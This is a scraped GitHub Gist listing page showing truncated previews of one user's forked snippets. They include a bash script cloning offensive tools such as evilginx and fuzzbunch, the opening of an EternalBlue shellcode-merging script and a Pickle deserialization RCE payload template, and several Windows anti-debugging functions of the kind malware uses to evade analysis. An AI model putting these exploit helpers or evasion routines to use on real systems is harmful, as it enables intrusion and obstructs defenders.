Skip to content

Instantly share code, notes, and snippets.

#!/bin/bash
cd /opt/
a=`cat <<-EOF
https://github.com/CyberArkLabs/ACLight
https://github.com/EtixLabs/cameradar
https://github.com/UltimateHackers/XSStrike
https://github.com/peterpt/eternal_scanner
https://github.com/kgretzky/evilginx
https://github.com/1N3/Findsploit
https://github.com/fuzzbunch/fuzzbunch
@spnow
spnow / eternalblue_merge_shellcode.py
Created August 9, 2017 14:05 — forked from mgeeky/eternalblue_merge_shellcode.py
Windows x64 and x86 kernel shellcode for eternalblue exploit
# This file has no update anymore. Please see https://github.com/worawit/MS17-010
import sys
from struct import pack
if len(sys.argv) < 4:
print('Usage: {} sc_x86 sc_x64 sc_out'.format(sys.argv[0]))
sys.exit()
sc_x86 = open(sys.argv[1], 'rb').read()
sc_x64 = open(sys.argv[2], 'rb').read()
@spnow
spnow / pickle-payload.py
Created August 9, 2017 14:04 — forked from mgeeky/pickle-payload.py
Python's Pickle Remote Code Execution payload template.
#!/usr/bin/python
#
# Pickle deserialization RCE payload.
# To be invoked with command to execute at it's first parameter.
# Otherwise, the default one will be used.
#
import cPickle
import os
import sys
@spnow
spnow / md5.py
Created August 1, 2017 23:16 — forked from evernick/md5.py
# -*- coding: utf-8 -*-
import hashlib
if __name__ == "__main__":
m = hashlib.md5("hello".encode("UTF-8"))
data = (m.hexdigest())
print data
# -*- coding: utf-8 -*-
from pytesser import *
if __name__ == "__main__":
print image_file_to_string("fonts_test.png")
#define _WIN32_WINNT 0x0501
#include <windows.h>
#include <stdio.h>
BOOL anti_debug()
{
return IsDebuggerPresent();
}
#define _WIN32_WINNT 0x0501
#include <windows.h>
#include <stdio.h>
BOOL anti_debug()
{
BOOL result;
CheckRemoteDebuggerPresent(GetCurrentProcess(), &result);
return result;
}
#include <windows.h>
#include <stdio.h>
BOOL anti_debug()
{
BOOL result = FALSE;
if(FindWindow("OLLYDBG", 0) || FindWindow("WinDbgFrameClass", 0))
result = TRUE;
return result;
}
#include <windows.h>
#include <stdio.h>
BOOL anti_debug()
{
DWORD Val = 123;
SetLastError(Val);
OutputDebugString(L"random");
if(GetLastError() == Val) {
return 1;
#include <windows.h>
#include <stdio.h>
BOOL anti_debug()
{
BOOL result = FALSE;
HKEY hKey;
char lpData[256];
DWORD lpSize = sizeof(lpData);